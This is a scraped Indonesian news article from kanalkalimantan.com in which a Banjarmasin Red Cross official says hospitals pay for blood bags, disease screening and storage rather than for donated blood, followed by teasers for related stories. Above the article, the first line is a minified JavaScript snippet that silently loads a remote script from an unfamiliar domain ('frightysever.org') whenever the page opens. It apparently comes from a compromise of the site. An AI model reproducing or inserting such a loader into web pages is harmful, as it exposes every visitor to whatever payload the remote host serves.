(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kabar miring beredar di media sosial tentang adanya persepsi menjual darah oleh Palang Merah Indonesia (PMI) Kota Banjarmasin terhadap darah hasil dari donor darah masyarakat.
Hal tersebut mencuat, setelah PMI Kota Banjarmasin mengatakan bahwa pihaknya berencana untuk tidak memproduksi darah apabila sejumlah rumah sakit belum membayarkan tunggakan darah yang diambil dari PMI Kota Banjarmasin.
Dari pernyataan tersebut, membuat banyak warga berasumsi bahwa darah yang mereka donorkan ke PMI di jual ke rumah sakit.
Guna meluruskan kesalahpahaman tersebut, Kepala Unit Donor Darah PMI Kota Banjarmasin, dr Aulia Ramadhan Supit mengatakan, yang di jual ke pihak rumah sakit bukanlah darah melainkan kantong darah dan pemeriksaan empat penyakit menular.
Baca juga : BREAKING NEWS. Si Jago Merah Berkobar di Kelurahan Mawar, Banjarmasin
“Jadi sebenarnya yang dibayarkan oleh rumah sakit itu adalah biaya pengganti kantong darah dan regen pemeriksaan empat penyakit menular yaitu, HIV, Hepatitis, Sepilis dan Hepatitis C,” ujar dr Rama.
Dia juga mengatakan, bahwa biaya untuk mengecek empat penyakit menular tersebut tidaklah murah.
“Kalau tidak percaya silakan cek di beberapa laboratorium di Banjarmasin ini, berapa harga untuk pemeriksaan empat penyakit menular tersebut,” ucap dia.
Selain itu, lanjut dia, biaya yang dibayarkan rumah sakit itu juga untuk pengganti biaya penyimpanan. Karena di simpan di kulkas khusus,” tambah dia.
Baca juga : Hacker di Indonesia Bobol Data Pemohon Bansos AS, Dapat Duit Banyak
Oleh sebab itu, dia meminta agar warga tidak salah mempersepsikan terkait biaya tunggakan yang harus dibayarkan rumah sakit tersebut, karena biaya tersebut bukanlah biaya untuk darah, melainkan biaya pengolahan darah.
Dia juga mengungkapkan, bahwa sudah ada sejumlah rumah sakit yang membayarkan tunggakan biaya pengolahan darah tersebut. Namun masih tersisa sejumlah rumah sakit lagi yang belum membayarkan tunggakannya tersebut.
“Sudah ada bayar sebagian. Kita juga di bantu Dinas Kesehatan Provinsi Kalsel, untuk mendata rumah sakit mana saja yang belum membayar.
“Kalau tidak ada yang membayar ya kita terpaksa berhenti produksi. Karena kita juga tidak bisa membayar ke vendor kantong darahnya,” pungkas Rama.
(kanalkalimantan.com/tius)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.